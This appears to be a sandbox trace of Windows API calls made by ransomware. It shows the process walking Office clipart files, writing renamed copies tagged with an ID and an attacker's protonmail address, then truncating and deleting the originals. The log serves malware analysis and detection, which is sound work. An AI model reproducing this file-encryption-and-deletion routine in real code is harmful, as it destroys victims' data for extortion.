	[0072.226] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0072.226] lstrlenW (lpString=".xlsx") returned 5
	[0072.226] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0072.226] lstrlenW (lpString=".ppt") returned 4
	[0072.226] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0072.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68
	[0072.226] lstrlenW (lpString=".zip") returned 4
	[0072.226] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0072.226] lstrlenW (lpString=".rar") returned 4
	[0072.226] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0072.226] lstrlenW (lpString=".bz2") returned 4
	[0072.226] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0072.226] lstrlenW (lpString=".7z") returned 3
	[0072.226] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0072.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68
	[0072.226] lstrlenW (lpString=".dbf") returned 4
	[0072.226] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0072.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68
	[0072.227] lstrlenW (lpString=".1cd") returned 4
	[0072.227] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0072.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68
	[0072.227] lstrlenW (lpString=".jpg") returned 4
	[0072.227] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0072.227] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0072.227] lstrlenW (lpString="AN04355_.WMF") returned 12
	[0072.227] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04355_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0072.227] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x375ff14 | out: lpFileSize=0x375ff14*=3228) returned 1
	[0072.227] CloseHandle (hObject=0x364) returned 1
	[0072.227] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04355_.wmf")) returned 0x220
	[0072.227] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04355_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0072.228] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04355_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0072.228] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.228] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.228] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04355_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0072.229] GetLastError () returned 0x0
	[0072.229] ReadFile (in: hFile=0x364, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0xc9c, lpOverlapped=0x0) returned 1
	[0072.231] WriteFile (in: hFile=0x388, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0xca0, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0xca0, lpOverlapped=0x0) returned 1
	[0072.232] ReadFile (in: hFile=0x364, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0x0, lpOverlapped=0x0) returned 1
	[0072.232] WriteFile (in: hFile=0x388, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0xec, lpOverlapped=0x0) returned 1
	[0072.232] SetEndOfFile (hFile=0x388) returned 1
	[0072.232] CloseHandle (hObject=0x388) returned 1
	[0072.233] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.233] SetEndOfFile (hFile=0x364) returned 1
	[0072.234] CloseHandle (hObject=0x364) returned 1
	[0072.234] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0072.234] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04355_.wmf")) returned 1
	[0072.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68
	[0072.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68
	[0072.235] lstrlenW (lpString=".doc") returned 4
	[0072.235] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0072.235] lstrlenW (lpString=".docx") returned 5
	[0072.235] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0072.235] lstrlenW (lpString=".pdf") returned 4
	[0072.235] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0072.235] lstrlenW (lpString=".xls") returned 4
	[0072.235] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0072.235] lstrlenW (lpString=".xlsx") returned 5
	[0072.235] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0072.235] lstrlenW (lpString=".ppt") returned 4
	[0072.235] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0072.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68
	[0072.235] lstrlenW (lpString=".zip") returned 4
	[0072.235] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0072.235] lstrlenW (lpString=".rar") returned 4
	[0072.235] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0072.235] lstrlenW (lpString=".bz2") returned 4
	[0072.235] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0072.235] lstrlenW (lpString=".7z") returned 3
	[0072.235] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0072.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68
	[0072.235] lstrlenW (lpString=".dbf") returned 4
	[0072.235] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0072.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68
	[0072.235] lstrlenW (lpString=".1cd") returned 4
	[0072.235] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0072.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68
	[0072.235] lstrlenW (lpString=".jpg") returned 4
	[0072.235] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0072.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68
	[0072.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68
	[0072.236] lstrlenW (lpString=".doc") returned 4
	[0072.236] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0072.236] lstrlenW (lpString=".docx") returned 5
	[0072.236] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0072.236] lstrlenW (lpString=".pdf") returned 4
	[0072.236] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0072.236] lstrlenW (lpString=".xls") returned 4
	[0072.236] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0072.236] lstrlenW (lpString=".xlsx") returned 5
	[0072.236] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0072.236] lstrlenW (lpString=".ppt") returned 4
	[0072.236] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0072.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68
	[0072.236] lstrlenW (lpString=".zip") returned 4
	[0072.236] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0072.236] lstrlenW (lpString=".rar") returned 4
	[0072.236] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0072.236] lstrlenW (lpString=".bz2") returned 4
	[0072.236] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0072.236] lstrlenW (lpString=".7z") returned 3
	[0072.236] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0072.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68
	[0072.236] lstrlenW (lpString=".dbf") returned 4
	[0072.236] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0072.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68
	[0072.236] lstrlenW (lpString=".1cd") returned 4
	[0072.236] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0072.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68
	[0072.236] lstrlenW (lpString=".jpg") returned 4
	[0072.236] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0072.237] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0072.237] lstrlenW (lpString="AN04369_.WMF") returned 12
	[0072.237] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04369_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0072.237] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x375ff14 | out: lpFileSize=0x375ff14*=4808) returned 1
	[0072.237] CloseHandle (hObject=0x364) returned 1
	[0072.238] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04369_.wmf")) returned 0x220
	[0072.238] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04369_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0072.238] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04369_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0072.238] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.238] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.238] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04369_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0072.238] GetLastError () returned 0x0
	[0072.238] ReadFile (in: hFile=0x364, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0x12c8, lpOverlapped=0x0) returned 1
	[0072.240] WriteFile (in: hFile=0x388, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0x12d0, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0x12d0, lpOverlapped=0x0) returned 1
	[0072.241] ReadFile (in: hFile=0x364, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0x0, lpOverlapped=0x0) returned 1
	[0072.241] WriteFile (in: hFile=0x388, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0xec, lpOverlapped=0x0) returned 1
	[0072.241] SetEndOfFile (hFile=0x388) returned 1
	[0072.241] CloseHandle (hObject=0x388) returned 1
	[0072.242] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.242] SetEndOfFile (hFile=0x364) returned 1
	[0072.243] CloseHandle (hObject=0x364) returned 1
	[0072.243] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0072.243] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04369_.wmf")) returned 1
	[0072.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68
	[0072.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68
	[0072.244] lstrlenW (lpString=".doc") returned 4
	[0072.244] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0072.244] lstrlenW (lpString=".docx") returned 5
	[0072.244] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0072.244] lstrlenW (lpString=".pdf") returned 4
	[0072.244] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0072.244] lstrlenW (lpString=".xls") returned 4
	[0072.244] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0072.244] lstrlenW (lpString=".xlsx") returned 5
	[0072.244] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0072.244] lstrlenW (lpString=".ppt") returned 4
	[0072.244] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0072.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68
	[0072.244] lstrlenW (lpString=".zip") returned 4
	[0072.244] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0072.244] lstrlenW (lpString=".rar") returned 4
	[0072.244] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0072.244] lstrlenW (lpString=".bz2") returned 4
	[0072.244] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0072.244] lstrlenW (lpString=".7z") returned 3
	[0072.244] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0072.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68
	[0072.244] lstrlenW (lpString=".dbf") returned 4
	[0072.244] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0072.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68
	[0072.244] lstrlenW (lpString=".1cd") returned 4
	[0072.244] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0072.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68
	[0072.244] lstrlenW (lpString=".jpg") returned 4
	[0072.245] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0072.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68
	[0072.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68
	[0072.245] lstrlenW (lpString=".doc") returned 4
	[0072.245] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0072.245] lstrlenW (lpString=".docx") returned 5
	[0072.245] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0072.245] lstrlenW (lpString=".pdf") returned 4
	[0072.245] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0072.245] lstrlenW (lpString=".xls") returned 4
	[0072.245] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0072.245] lstrlenW (lpString=".xlsx") returned 5
	[0072.245] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0072.245] lstrlenW (lpString=".ppt") returned 4
	[0072.245] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0072.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68
	[0072.245] lstrlenW (lpString=".zip") returned 4
	[0072.245] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0072.245] lstrlenW (lpString=".rar") returned 4
	[0072.245] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0072.245] lstrlenW (lpString=".bz2") returned 4
	[0072.245] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0072.245] lstrlenW (lpString=".7z") returned 3
	[0072.245] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0072.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68
	[0072.245] lstrlenW (lpString=".dbf") returned 4
	[0072.245] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0072.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68
	[0072.245] lstrlenW (lpString=".1cd") returned 4
	[0072.245] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0072.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68
	[0072.245] lstrlenW (lpString=".jpg") returned 4
	[0072.245] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0072.246] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0072.246] lstrlenW (lpString="AN04384_.WMF") returned 12
	[0072.246] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04384_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0072.742] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x375ff14 | out: lpFileSize=0x375ff14*=4996) returned 1
	[0072.742] CloseHandle (hObject=0x2c0) returned 1
	[0072.742] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04384_.wmf")) returned 0x220
	[0072.742] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04384_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0072.742] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04384_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0072.743] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.743] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.743] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04384_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0072.743] GetLastError () returned 0x0
	[0072.743] ReadFile (in: hFile=0x2c0, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0x1384, lpOverlapped=0x0) returned 1
	[0072.762] WriteFile (in: hFile=0x358, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0x1390, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0x1390, lpOverlapped=0x0) returned 1
	[0072.763] ReadFile (in: hFile=0x2c0, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0x0, lpOverlapped=0x0) returned 1
	[0072.763] WriteFile (in: hFile=0x358, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0xec, lpOverlapped=0x0) returned 1
	[0072.763] SetEndOfFile (hFile=0x358) returned 1
	[0072.764] CloseHandle (hObject=0x358) returned 1
	[0072.770] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.770] SetEndOfFile (hFile=0x2c0) returned 1
	[0072.771] CloseHandle (hObject=0x2c0) returned 1
	[0072.771] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0072.771] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04384_.wmf")) returned 1
	[0072.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68
	[0072.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68
	[0072.774] lstrlenW (lpString=".doc") returned 4
	[0072.774] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0072.774] lstrlenW (lpString=".docx") returned 5
	[0072.774] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0072.774] lstrlenW (lpString=".pdf") returned 4
	[0072.774] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0072.774] lstrlenW (lpString=".xls") returned 4
	[0072.774] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0072.774] lstrlenW (lpString=".xlsx") returned 5
	[0072.774] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0072.774] lstrlenW (lpString=".ppt") returned 4
	[0072.774] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0072.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68
	[0072.774] lstrlenW (lpString=".zip") returned 4
	[0072.774] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0072.774] lstrlenW (lpString=".rar") returned 4
	[0072.774] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0072.774] lstrlenW (lpString=".bz2") returned 4
	[0072.774] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0072.774] lstrlenW (lpString=".7z") returned 3
	[0072.774] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0072.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68
	[0072.774] lstrlenW (lpString=".dbf") returned 4
	[0072.775] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0072.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68
	[0072.775] lstrlenW (lpString=".1cd") returned 4
	[0072.775] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0072.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68
	[0072.775] lstrlenW (lpString=".jpg") returned 4
	[0072.775] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0072.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68
	[0072.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68
	[0072.775] lstrlenW (lpString=".doc") returned 4
	[0072.775] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0072.775] lstrlenW (lpString=".docx") returned 5
	[0072.775] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0072.775] lstrlenW (lpString=".pdf") returned 4
	[0072.775] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0072.775] lstrlenW (lpString=".xls") returned 4
	[0072.775] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0072.775] lstrlenW (lpString=".xlsx") returned 5
